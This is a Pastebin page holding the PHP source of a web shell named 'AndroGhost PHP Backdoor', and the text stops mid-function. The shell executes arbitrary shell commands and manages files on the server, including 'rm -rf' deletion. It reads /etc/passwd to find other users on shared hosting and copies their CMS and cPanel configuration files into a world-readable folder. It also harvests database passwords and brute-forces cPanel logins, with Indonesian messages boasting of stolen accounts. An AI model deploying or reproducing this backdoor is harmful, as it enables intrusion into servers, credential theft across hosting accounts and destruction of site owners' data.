API tools faq
paste
M0usanony

bluehst

M0usanony
Sep 6th, 2025
79
0
Never
13
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 53.02 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. error_reporting(0);
  3. function exect($cmd) {
  4. if(function_exists('system')) {
  5. @ob_start();
  6. @system($cmd);
  7. $exect = @ob_get_contents();
  8. @ob_end_clean();
  9. return $exect;
  10. } elseif(function_exists('exec')) {
  11. @exec($cmd,$results);
  12. $exect = "";
  13. foreach($results as $result) {
  14. $exect .= $result;
  15. } return $exect;
  16. } elseif(function_exists('passthru')) {
  17. @ob_start();
  18. @passthru($cmd);
  19. $exect = @ob_get_contents();
  20. @ob_end_clean();
  21. return $exect;
  22. } elseif(function_exists('shell_exec')) {
  23. $exect = @shell_exec($cmd);
  24. return $exect;
  25. }
  26. }
  27.  
  28.  
  29. function fperms($filen) {
  30. $perms = fileperms($filen);
  31. $fpermsinfo .= (($perms & 0x0100) ? 'r' : '-');
  32. $fpermsinfo .= (($perms & 0x0080) ? 'w' : '-');
  33. $fpermsinfo .= (($perms & 0x0040) ?
  34. (($perms & 0x0800) ? 's' : 'x' ) :
  35. (($perms & 0x0800) ? 'S' : '-'));
  36. $fpermsinfo .= (($perms & 0x0020) ? 'r' : '-');
  37. $fpermsinfo .= (($perms & 0x0010) ? 'w' : '-');
  38. $fpermsinfo .= (($perms & 0x0008) ?
  39. (($perms & 0x0400) ? 's' : 'x' ) :
  40. (($perms & 0x0400) ? 'S' : '-'));
  41. $fpermsinfo .= (($perms & 0x0004) ? 'r' : '-');
  42. $fpermsinfo .= (($perms & 0x0002) ? 'w' : '-');
  43. $fpermsinfo .= (($perms & 0x0001) ?
  44. (($perms & 0x0200) ? 't' : 'x' ) :
  45. (($perms & 0x0200) ? 'T' : '-'));
  46. echo '<center><small>'.$fpermsinfo.'</small></center>';
  47. }
  48.  
  49. ?>
  50. <title>AndroGhost PHP Backdoor</title>
  51. <link href='//fonts.googleapis.com/css?family=Share+Tech+Mono' rel='stylesheet' type='text/css'>
  52. <style type="text/css">
  53. body {
  54. color: #c73c3c;
  55. font-family: courier;
  56. background: #132d33;
  57. font-size: 1px;
  58. }
  59. h1 a {
  60. font-weight: normal;
  61. font-family: 'Share Tech Mono';
  62. font-size: 20px;
  63. color:#c73c3c;
  64. text-decoration: none;
  65. margin: 0px;
  66. }
  67. h2 {
  68. font-size: 20px;
  69. color: #c73c3c;
  70. text-align: center;
  71. padding-top: 5px;
  72. margin: 0;
  73. margin-top: 10px;
  74. }
  75. .menu {
  76. text-align: center;
  77. font-size: 12px;
  78. border-bottom: 1px dashed #006600;
  79. padding-bottom: 5px;
  80. margin-bottom: 10px;
  81. }
  82. .menu a {
  83. margin-top: 2px;
  84. color: #006600;
  85. text-decoration: none;
  86. display: inline-block;
  87. }
  88. .container {
  89. font-size: 12px;
  90. }
  91. .filemgr {
  92. font-size: 12px;
  93. width: 100%
  94. }
  95. .filemgr td {
  96. padding: 3px;
  97. border-bottom: 1px dashed #006600;
  98. }
  99. .filemgr a{
  100. text-decoration: none;
  101. color:#006600;
  102. }
  103. tr:hover {
  104. background: #cccccc;
  105. }
  106. .tdtl {
  107. background:#006600;color:#ffffff;text-align:center;font-weight:bold;
  108. }
  109. .footer {
  110. text-align: center;
  111. border-radius: 30px;
  112. margin-top: 25px;
  113. border-top: 1px double #006600;
  114. padding: 5px;
  115. }
  116. .footer a {
  117. color: #006600;
  118. text-decoration: none;
  119. }
  120. p {
  121. word-wrap: break-word;
  122. margin:2;
  123. }
  124. a {
  125. text-decoration: none;
  126. color: #006600;
  127. }
  128. .act {
  129. text-align: center;
  130. }
  131. .txarea {
  132. width:100%;
  133. height:200px;
  134. background:transparent;
  135. border:1px solid #006600;
  136. padding:1px;color:#006600;
  137. }
  138. </style>
  139. <div class="container">
  140. <div style="position:relative;width: 100%;margin-bottom: 5px;border-bottom: 1px dashed #006600;">
  141. <div style="float: left;width: 15%;text-align: center;border: 1px dashed #006600;margin-bottom: 5px;">
  142. <h1><a href="?">./Xi4u7 & AndroGhost<br><small>V 1.5 (Beta)</small></a></h1>
  143. </div>
  144. <div style="float: right;width: 83%;">
  145. <?php
  146. echo php_uname();
  147. $mysql = (function_exists('mysql_connect')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
  148. $curl = (function_exists('curl_version')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
  149. $wget = (exect('wget --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
  150. $perl = (exect('perl --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
  151. $gcc = (exect('gcc --help')) ? "<font color=#006600>ON</font>" : "<font color=red>OFF</font>";
  152. $disfunc = @ini_get("disable_functions");
  153. $show_disf = (!empty($disfunc)) ? "<font color=red>$disfunc</font> <a href='?bypass=killdiscfunc' style='text-decoration:none;color:#0000FF;font-weight: bold;'>[ KILL ME ]</a>" : "<font color=#006600>NONE</font>";
  154. echo '<br>[ MySQL: '.$mysql.' ][ Curl: '.$curl.' ][ Wget: '.$wget.' ][ Perl: '.$perl.' ][ Compiler: '.$gcc.' ]';
  155. echo '<p>Disable Function: '.$show_disf;
  156.  
  157.  
  158. ?>
  159. </div>
  160. <div style="clear: both;" ="clear"></div>
  161. </div>
  162.  
  163. <?php
  164.  
  165. if(empty($_GET)) {
  166. $dir = getcwd();
  167. }
  168. else {
  169. $dir = $_GET['path'];
  170. }
  171.  
  172. if(!empty($_GET['path'])) {$offdir = $_GET['path'];}
  173. else if(!empty($_GET['file'])) {$offdir = dirname($_GET['file']);}
  174. else if(!empty($_GET['lastpath'])) {$offdir = $_GET['lastpath'];}
  175. else {$offdir = getcwd();}
  176.  
  177. ?>
  178. <div class="menu">
  179. <a href="?=<?php echo $offdir;?>">[ Home ]</a>
  180. <a href="?ext=jump&lastpath=<?php echo $offdir;?>">[ Jumping ]</a>
  181. <a href="?ext=scupdate&lastpath=<?php echo $offdir;?>">[ Jumping2 ]</a>
  182. <a href="?ext=fantastico&lastpath=<?php echo $offdir;?>">[ Jumping3 ]</a>
  183. <a href="?ext=autoedt&lastpath=<?php echo $offdir;?>">[Auto Edit User ]</a>
  184. <a href="?ext=prvconf&lastpath=<?php echo $offdir;?>">[ Priv8 Get Config By AndroGhost ]</a>
  185. <a href="?ext=sql_interface&lastpath=<?php echo $offdir;?>">[ MySQL Interface ]</a>
  186. <a href="?ext=shellcmd&lastpath=<?php echo $offdir;?>">[ Shell Command ]</a>
  187. <a href="?ext=uploader&lastpath=<?php echo $offdir;?>">[ Uploader ]</a>
  188. <a href="?ext=cpcrack&lastpath=<?php echo $offdir;?>">[ Cpanel Crack ]</a>
  189. </div>
  190. <?php
  191. ## CURRENT DIR ##
  192.  
  193. echo '<div style="margin-bottom:10px;">';
  194. echo '<span style="border:1px dashed #009900;padding:2px;">';
  195. $lendir = str_replace("\\","/",$offdir);
  196. $xlendir = explode("/", $lendir);
  197. foreach($xlendir as $c_dir => $cdir) {
  198. echo "<a href='?path=";
  199. for($i = 0; $i <= $c_dir; $i++) {
  200. echo $xlendir[$i];
  201. if($i != $c_dir) {
  202. echo "/";
  203. }
  204. }
  205. echo "'>$cdir</a>/";
  206. }
  207. echo '</span></div>';
  208. ## EOF CURRENT DIR ##
  209.  
  210. if(!empty($dir)) {
  211. echo '<table class="filemgr">';
  212. echo '<tr><td class="tdtl">Name</td><td class="tdtl" width="9%">Permission</td><td class="tdtl" width="18%">Action</td></tr>'."\n";
  213. $directories = array();
  214. $files_list = array();
  215. $files = scandir($dir);
  216. foreach($files as $file){
  217. if(($file != '.') && ($file != '..')){
  218. if(is_dir($dir.'/'.$file)){
  219. $directories[] = $file;
  220.  
  221. } else{
  222. $files_list[] = $file;
  223.  
  224. }
  225. }
  226. }
  227.  
  228. foreach($directories as $directory){
  229. echo '<tr><td><span class="dbox">[D]</span> <a href="?path='.$dir.'/'.$directory.'">'.$directory.'/</a></td>'."\n";
  230. echo '<td>';
  231. fperms($dir.'/'.$directory);
  232. echo '</td>'."\n";
  233. echo '<td class="act">';
  234. echo '<a href="?action=rename&file='.$dir.'/'.$directory.'" class="act">RENAME</a> ';
  235. echo '<a href="?action=rmdir&file='.$dir.'/'.$directory.'" class="act">DELETE</a>';
  236. echo '</td>'."\n";
  237. echo '</tr>'."\n";
  238. }
  239. foreach($files_list as $filename){
  240. if(preg_match('/(php)$/', $filename)) {
  241. echo '<tr><td><span class="dbox">[F]</span> <a href="#" class="act">'.$filename.'</a>'."\n";
  242. echo ' <a href="?ext=movecfg&cfg='.$dir.'/'.$filename.'" style="background:#006600;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">MOVE CONFIG</a>';
  243. echo '</td>'."\n";
  244. echo '<td>';
  245. fperms($dir.'/'.$filename);
  246. echo '</td>'."\n";
  247. echo '<td class="act">';
  248. echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> ';
  249. echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> ';
  250. echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>';
  251. echo '</td>'."\n";
  252. echo '</tr>'."\n";
  253. }
  254. else if(preg_match('/(tar.gz|tgz)$/', $filename)) {
  255. echo '<tr><td><span class="dbox">[F]</span> <a href="#" class="act">'.$filename.'</a>'."\n";
  256. echo ' <a href="?ext=extract2tmp&gzname='.$dir.'/'.$filename.'" style="background:#006600;color:#ffffff;padding:1px;padding-left:5px;padding-right:5px;">EXTRACT TO TMP</a>';
  257. echo '</td>'."\n";
  258. echo '<td>';
  259. fperms($dir.'/'.$filename);
  260. echo '</td>'."\n";
  261. echo '<td class="act">';
  262. echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> ';
  263. echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> ';
  264. echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>';
  265. echo '</td>'."\n";
  266. echo '</tr>'."\n";
  267. }
  268. else {
  269. echo '<tr><td><span class="dbox">[F]</span> <a href="?action=view&file='.$dir.'/'.$filename.'" class="act">'.$filename.'</a></td>'."\n";
  270. echo '<td>';
  271. fperms($dir.'/'.$filename);
  272. echo '</td>'."\n";
  273. echo '<td class="act">';
  274. echo '<a href="?action=edit&file='.$dir.'/'.$filename.'" class="act">EDIT</a> ';
  275. echo '<a href="?action=rename&file='.$dir.'/'.$filename.'" class="act">RENAME</a> ';
  276. echo '<a href="?action=delete&file='.$dir.'/'.$filename.'" class="act">DELETE</a> ';
  277. echo '<a href="?action=download&file='.$dir.'/'.$filename.'" class="act">DOWNLOAD</a>';
  278. echo '</td>'."\n";
  279. echo '</tr>'."\n";
  280. }
  281. }
  282. echo '</table>';
  283. }
  284.  
  285. if($_GET['action'] == 'edit') {
  286. if($_POST['save']) {
  287. $save = file_put_contents($_GET['file'], $_POST['src']);
  288. if($save) {
  289. $act = "<font color=#006600>Successed!</font>";
  290. } else {
  291. $act = "<font color=red>Permission Denied!</font>";
  292. }
  293. echo "".$act."<br>";
  294. }
  295. echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
  296. echo "<form method='post'>
  297. <textarea name='src' class='txarea'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  298. <input type='submit' value='Save' name='save' style='width: 20%;background:#006600;border:none;color:#f2f2f2;margin-top:5px;height:30px;'>
  299. </form>";
  300. }
  301. else if($_GET['action'] == 'view') {
  302. echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
  303. echo "<textarea class='txarea' style='height:400px;' readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  304. }
  305. else if($_GET['action'] == 'rename') {
  306. $path = $offdir;
  307. if($_POST['do_rename']) {
  308. $rename = rename($_GET['file'], "$path/".htmlspecialchars($_POST['rename'])."");
  309. if($rename) {
  310. $act = "<font color=#006600>Successed!</font>";
  311. } else {
  312. $act = "<font color=red>Permission Denied!</font>";
  313. }
  314. echo "".$act."<br>";
  315. }
  316. echo "Filename: <font color=#006600>".basename($_GET['file'])."</font>";
  317. echo "<form method='post'>
  318. <input type='text' value='".basename($_GET['file'])."' name='rename' style='width: 450px;' height='10'>
  319. <input type='submit' name='do_rename' value='rename'>
  320. </form>";
  321. }
  322. else if($_GET['action'] == 'delete') {
  323. $path = $offdir;
  324. $delete = unlink($_GET['file']);
  325. if($delete) {
  326.  
  327. } else {
  328. $act = "<font color=red>Permission Denied!</font>";
  329. }
  330. echo $act;
  331. } else if($_GET['action'] == 'rmdir') {
  332. $path = $offdir;
  333. $delete = rmdir($_GET['file']);
  334. if($delete) {
  335. echo '<font color=#006600>Deleted!</font><br>';
  336. } else {
  337. echo "\n<font color=#006600>Try Force Delete!</font>\n<br>";
  338. exect('rm -rf '.$_GET['file']);
  339. if(file_exists($_GET['file'])) {
  340. echo '<font color=red>Permission Denied!</font>';
  341. } else
  342. {
  343. echo '<font color=#006600>Deleted!</font>';
  344. }
  345. }
  346.  
  347. } else if($_GET['action'] == 'download') {
  348. @ob_clean();
  349. $file = $_GET['file'];
  350. header('Content-Description: File Transfer');
  351. header('Content-Type: application/octet-stream');
  352. header('Content-Disposition: attachment; filename="'.$file.'"');
  353. header('Expires: 0');
  354. header('Cache-Control: must-revalidate');
  355. header('Pragma: public');
  356. header('Content-Length: ' . filesize($file));
  357. readfile($file);
  358. exit;
  359. }
  360.  
  361. if($_GET['ext'] == 'scupdate') {
  362. echo '<h2>.::[ Jumping From Backup Scriptupdate ]::.</h2>';
  363. $i = 0;
  364. echo "<pre><div class='margin: 5px auto;'>";
  365. $etc = fopen("/etc/passwd", "r");
  366. while($passwd = fgets($etc)) {
  367. if($passwd == '' || !$etc) {
  368. echo "<center><font color=red>Can't read /etc/passwd</font></center>";
  369. } else {
  370. preg_match_all('/(.*?):x:/', $passwd, $user);
  371. foreach($user[1] as $users) {
  372. $user_dir = "/home/$users/scriptupdate";
  373. if(is_readable($user_dir)) {
  374. $i++;
  375. $jrw = "[R] <a href='?path=$user_dir'>/home/$users/scriptupdate</a>";
  376. if(is_writable($user_dir)) {
  377. $jrw = "[RW] <a href='?path=$user_dir'>/home/$users/scriptupdate</a>";
  378. }
  379. echo $jrw."\n";
  380. }
  381. }
  382. }
  383. }
  384. if($i == 0) {
  385. echo '<center><font color=red>scriptupdate is null in this host!</font></center>';
  386. } else {
  387. echo "<br>Total ".$i." Users in ".gethostbyname($_SERVER['HTTP_HOST'])."";
  388. }
  389. echo "</div></pre>";
  390. }
  391.  
  392. if($_GET['ext'] == 'fantastico') {
  393. echo '<h2>.::[ Jumping From Backup Fantastico ]::.</h2>';
  394. $i = 0;
  395. echo "<pre><div class='margin: 5px auto;'>";
  396. $etc = fopen("/etc/passwd", "r");
  397. while($passwd = fgets($etc)) {
  398. if($passwd == '' || !$etc) {
  399. echo "<center><font color=red>Can't read /etc/passwd</font></center>";
  400. } else {
  401. preg_match_all('/(.*?):x:/', $passwd, $user);
  402. foreach($user[1] as $users) {
  403. $user_dir = "/home/$users/fantastico_backups";
  404. if(is_readable($user_dir)) {
  405. $i++;
  406. $jrw = "[R] <a href='?path=$user_dir'>/home/$users/fantastico_backups</a>";
  407. if(is_writable($user_dir)) {
  408. $jrw = "[RW] <a href='?path=$user_dir'>/home/$users/fantastico_backups</a>";
  409. }
  410. echo $jrw."\n";
  411. }
  412. }
  413. }
  414. }
  415. if($i == 0) {
  416. echo '<center><font color=red>scriptupdate is null in this host!</font></center>';
  417. } else {
  418. echo "<br>Total ".$i." Users in ".gethostbyname($_SERVER['HTTP_HOST'])."";
  419. }
  420. echo "</div></pre>";
  421. }
  422.  
  423. if($_GET['ext'] == 'cpcrack') {
  424. if($_POST['crack']) {
  425. $usercp = explode("\r\n", $_POST['user_cp']);
  426. $passcp = explode("\r\n", $_POST['pass_cp']);
  427. $i = 0;
  428. foreach($usercp as $ucp) {
  429. foreach($passcp as $pcp) {
  430. if(@mysql_connect('localhost', $ucp, $pcp)) {
  431. if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  432. } else {
  433. $_SESSION[$ucp] = "1";
  434. $_SESSION[$pcp] = "1";
  435. if($ucp == '' || $pcp == '') {
  436.  
  437. } else {
  438. $i++;
  439. if(function_exists('posix_getpwuid')) {
  440. $domain_cp = file_get_contents("/etc/named.conf");
  441. if($domain_cp == '') {
  442. $dom = "<font color=red>gabisa ambil nama domain nya</font>";
  443. } else {
  444. preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  445. foreach($domains_cp[1] as $dj) {
  446. $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  447. $user_cp_url = $user_cp_url['name'];
  448. if($user_cp_url == $ucp) {
  449. $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
  450. break;
  451. }
  452. }
  453. }
  454. } else {
  455. $dom = "<font color=red>function is Disable by system</font>";
  456. }
  457. echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
  458. }
  459. }
  460. }
  461. }
  462. }
  463. if($i == 0) {
  464. } else {
  465. echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
  466. }
  467. } else {
  468. echo "<center>
  469. <form method='post'>
  470. USER: <br>
  471. <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  472. $_usercp = fopen("/etc/passwd","r");
  473. while($getu = fgets($_usercp)) {
  474. if($getu == '' || !$_usercp) {
  475. echo "<font color=red>Can't read /etc/passwd</font>";
  476. } else {
  477. preg_match_all("/(.*?):x:/", $getu, $u);
  478. foreach($u[1] as $user_cp) {
  479. if(is_dir("/home/$user_cp/public_html")) {
  480. echo "$user_cp\n";
  481. }
  482. }
  483. }
  484. }
  485. echo "</textarea><br>
  486. PASS: <br>
  487. <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
  488. function cp_pass($dir) {
  489. $pass = "";
  490. $dira = scandir($dir);
  491. foreach($dira as $dirb) {
  492. if(!is_file("$dir/$dirb")) continue;
  493. $ambil = file_get_contents("$dir/$dirb");
  494. if(preg_match("/WordPress/", $ambil)) {
  495. $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
  496. } elseif(preg_match("/JConfig|joomla/", $ambil)) {
  497. $pass .= ambilkata($ambil,"password = '","'")."\n";
  498. } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
  499. $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
  500. } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
  501. $pass .= ambilkata($ambil,'password = "','"')."\n";
  502. } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
  503. $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
  504. } elseif(preg_match("/client/", $ambil)) {
  505. preg_match("/password=(.*)/", $ambil, $pass1);
  506. $pass .= $pass1[1]."\n";
  507. if(preg_match('/"/', $pass1[1])) {
  508. $pass1[1] = str_replace('"', "", $pass1[1]);
  509. $pass .= $pass1[1]."\n";
  510. }
  511. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  512. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  513. }
  514. }
  515. echo $pass;
  516. }
  517. $cp_pass = cp_pass($dir);
  518. echo $cp_pass;
  519. echo "</textarea><br>
  520. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  521. </form>
  522. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  523. }
  524. }
  525.  
  526. if($_GET['ext'] == 'prvconf') {
  527. echo '<h2>.::[ Get Config Private By AndroGhost ]::.</h2>';
  528. $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  529. $idx = mkdir("idx_config", 0777);
  530. $isi_htc = "Options all\nRequire None\nSatisfy Any";
  531. $htc = fopen("idx_config/.htaccess","w");
  532. fwrite($htc, $isi_htc);
  533. while($passwd = fgets($etc)) {
  534. if($passwd == "" || !$etc) {
  535. echo "<font color=red>Can't read /etc/passwd</font>";
  536. } else {
  537. preg_match_all('/(.*?):x:/', $passwd, $user_config);
  538. foreach($user_config[1] as $user_idx) {
  539. $user_config_dir = "/home/$user_idx/public_html/";
  540. if(is_readable($user_config_dir)) {
  541. $grab_config = array(
  542. "/home/$user_idx/.my.cnf" => "cpanel",
  543. "/home/$user_idx/public_html1/wp-config.php" => "Wordpress",
  544. "/home/$user_idx/public_html1/configuration.php" => "Joomla",
  545. "/home/$user_idx/.accesshash" => "WHM-accesshash",
  546. "/home/$user_idx/vdo_config.php" => "Voodoo",
  547. "/home/$user_idx/bw-configs/config.ini" => "BosWeb",
  548. "/home/$user_idx/config/koneksi.php" => "Lokomedia",
  549. "/home/$user_idx/lokomedia/config/koneksi.php" => "Lokomedia",
  550. "/home/$user_idx/clientarea/configuration.php" => "WHMCS",
  551. "/home/$user_idx/whm/configuration.php" => "WHMCS",
  552. "/home/$user_idx/whmcs/configuration.php" => "WHMCS",
  553. "/home/$user_idx/forum/config.php" => "phpBB",
  554. "/home/$user_idx/sites/default/settings.php" => "Drupal",
  555. "/home/$user_idx/config/settings.inc.php" => "PrestaShop",
  556. "/home/$user_idx/app/etc/local.xml" => "Magento",
  557. "/home/$user_idx/joomla/configuration.php" => "Joomla",
  558. "/home/$user_idx/configuration.php" => "Joomla",
  559. "/home/$user_idx/wp/wp-config.php" => "WordPress",
  560. "/home/$user_idx/wordpress/wp-config.php" => "WordPress",
  561. "/home/$user_idx/wp-config.php" => "WordPress",
  562. "/home/$user_idx/admin/config.php" => "OpenCart",
  563. "/home/$user_idx/slconfig.php" => "Sitelok",
  564. "/home/$user_idx/application/config/database.php" => "Ellislab");
  565. foreach($grab_config as $config => $nama_config) {
  566. $ambil_config = file_get_contents($config);
  567. if($ambil_config == '') {
  568. } else {
  569. $file_config = fopen("idx_config/$user_idx-$nama_config.txt","w");
  570. fputs($file_config,$ambil_config);
  571. }
  572. }
  573. }
  574. }
  575. }
  576. }
  577. echo "<center><a href='?path=$path/idx_config'><font color=lime>Done</font></a></center>";
  578. }
  579.  
  580. if($_GET['ext'] == 'jump') {
  581. $list = scandir("/var/named");
  582. foreach($list as $domain){
  583. if(strpos($domain,".db")){
  584. $domain = str_replace('.db','',$domain);
  585. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  586. $dir = '/home/'.$owner['name'].'/public_html1';
  587. $path = getcwd();
  588.  
  589. if (is_readable($dir)) {
  590. echo "<font color='red'>[-]<a href='?path=$dir' target='_blank'><u>$dir</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  591. }
  592. $dira = '/home/'.$owner['name'].'/backup-'.$owner['name'];
  593. if (is_readable($dira)) {
  594. echo "<font color='red'>[-]$dira</font> -> <font color='blue'>".$domain."</font><br>";
  595. }
  596. $dirb = '/home/'.$owner['name'].'/public_html.bak/';
  597. if (is_readable($dirb)) {
  598. echo "<font color='red'>[-]<a href='?path=$dirb' target='_blank'><u>$dirb</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  599. }
  600. $dirc = '/home/'.$owner['name'].'/blog';
  601. if (is_readable($dirc)) {
  602. echo "<font color='red'>[-]<a href='?path=$dirc' target='_blank'><u>$dirc</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  603. }
  604. $dird = '/home/'.$owner['name'].'/blogs';
  605. if (is_readable($dird)) {
  606. echo "<font color='red'>[-]<a href='?path=$dird' target='_blank'><u>$dird</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  607. }
  608. $dire = '/home/'.$owner['name'].'/wordpress';
  609. if (is_readable($dire)) {
  610. echo "<font color='red'>[-]<a href='?path=$dire' target='_blank'><u>$dire</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  611. }
  612. $dirf = '/home/'.$owner['name'].'/sites';
  613. if (is_readable($dirf)) {
  614. echo "<font color='red'>[-]$dirf</font> -> <font color='blue'>".$domain."</font><br>";
  615. }
  616. $dirg = '/home/'.$owner['name'].'/config';
  617. if (is_readable($dirg)) {
  618. echo "<font color='red'>[-]<a href='?path=$dirg' target='_blank'><u>$dirg</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  619. }
  620. $dirh = '/home/'.$owner['name'].'/backups_';
  621. if (is_readable($dirh)) {
  622. echo "<font color='red'>[-]<a href='?path=$dirh' target='_blank'><u>$dirh</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  623. }
  624. $diri = '/home/'.$owner['name'].'/backups';
  625. if (is_readable($diri)) {
  626. echo "<font color='red'>[-]<a href='?path=$diri' target='_blank'><u>$diri</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  627. }
  628. $dirj = '/home/'.$owner['name'].'/Backup';
  629. if (is_readable($dirj)) {
  630. echo "<font color='red'>[-]<a href='?path=$dirj' target='_blank'><u>$dirj</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  631. }
  632. $dirk = '/home/'.$owner['name'].'/public_html.zip';
  633. if (is_readable($dirk)) {
  634. echo "<font color='red'>[-]<a href='?path=$dirk' target='_blank'><u>$dirk</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  635. }
  636. $dirl = '/home/'.$owner['name'].'/staging';
  637. if (is_readable($dirl)) {
  638. echo "<font color='red'>[-]<a href='?path=$dirl' target='_blank'><u>$dirl</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  639. }
  640. $dirm = '/home/'.$owner['name'].'/'.$domain;
  641. if (is_readable($dirm)) {
  642. echo "<font color='red'>[-]<a href='?path=$dirm' target='_blank'><u>$dirm</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  643. }
  644. $dirn = '/home/'.$owner['name'].'/'.$owner['name'];
  645. if (is_readable($dirn)) {
  646. echo "<font color='red'>[-]<a href='?path=$dirn' target='_blank'><u>$dirn</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  647. }
  648. $diro = '/home/'.$owner['name'].'/'.$owner['name']-backups;
  649. if (is_readable($diro)) {
  650. echo "<font color='red'>[-]$diro</font> -> <font color='blue'>".$domain."</font><br>";
  651. }
  652. $dirp = '/home/'.$owner['name'].'/BackWPup';
  653. if (is_readable($dirp)) {
  654. echo "<font color='red'>[-]<a href='?path=$dirv' target='_blank'><u>$dirv</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  655. }
  656. $dirq = '/home/'.$owner['name'].'/_backup';
  657. if (is_readable($dirq)) {
  658. echo "<font color='red'>[-]$dirq</font> -> <font color='blue'>".$domain."</font><br>";
  659. }
  660. $dirr = '/home/'.$owner['name'].'/bak';
  661. if (is_readable($dirr)) {
  662. echo "<font color='red'>[-]<a href='?path=$dirr' target='_blank'><u>$dirr</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  663. }
  664. $dirs = '/home/'.$owner['name'].'/wp_backup';
  665. if (is_readable($dirs)) {
  666. echo "<font color='red'>[-]$dirs</font> -> <font color='blue'>".$domain."</font><br>";
  667. }
  668. $dirt = '/home/'.$owner['name'].'/wp_backups';
  669. if (is_readable($dirt)) {
  670. echo "<font color='red'>[-]<a href='?path=$dirt' target='_blank'><u>$dirt</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  671. }
  672. $diru = '/home/'.$owner['name'].'/public_html.older/';
  673. if (is_readable($diru)) {
  674. echo "<font color='red'>[-]$diru</font> -> <font color='blue'>".$domain."</font><br>";
  675. }
  676. $dirv = '/home/'.$owner['name'].'/db';
  677. if (is_readable($dirv)) {
  678. echo "<font color='red'>[-]<a href='?path=$dirv' target='_blank'><u>$dirv</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  679. }
  680. $dirw = '/home/'.$owner['name'].'/database';
  681. if (is_readable($dirw)) {
  682. echo "<font color='red'>[-]<a href='?path=$dirw' target='_blank'><u>$dirw</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  683. }
  684. $dirx = '/home/'.$owner['name'].'/homedir';
  685. if (is_readable($dirx)) {
  686. echo "<font color='red'>[-]<a href='?path=$dirx' target='_blank'><u>$dirx</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  687. }
  688. $diry = '/home/'.$owner['name'].'/backup_1';
  689. if (is_readable($diry)) {
  690. echo "<font color='red'>[-]$diry</font> -> <font color='blue'>".$domain."</font><br>";
  691. }
  692. $dirz = '/home/'.$owner['name'].'/backup_public_html';
  693. if (is_readable($dirz)) {
  694. echo "<font color='red'>[-]$dirz</font> -> <font color='blue'>".$domain."</font><br>";
  695. }
  696. $dirza = '/home/'.$owner['name'].'/BackupBuddy';
  697. if (is_readable($dirza)) {
  698. echo "<font color='red'>[-]<a href='?path=$dirza' target='_blank'><u>$dirza</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  699. }
  700. $dirzb = '/home/'.$owner['name'].'/backup1';
  701. if (is_readable($dirzb)) {
  702. echo "<font color='red'>[-]<a href='?path=$dirzb' target='_blank'><u>$dirzb</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  703. }
  704. $dirzc = '/home/'.$owner['name'].'/wpbackup';
  705. if (is_readable($dirzc)) {
  706. echo "<font color='red'>[-]$dirzc</font> -> <font color='blue'>".$domain."</font><br>";
  707. }
  708. $dirzd = '/home/'.$owner['name'].'/wp-upgrade-backup';
  709. if (is_readable($dirzd)) {
  710. echo "<font color='red'>[-]<a href='?path=$dirzd' target='_blank'><u>$dirzd</u></a></font> -> <font color='blue'>".$domain."</font><br>";
  711. }
  712. $dirze = '/home/'.$owner['name'].'/website_backup';
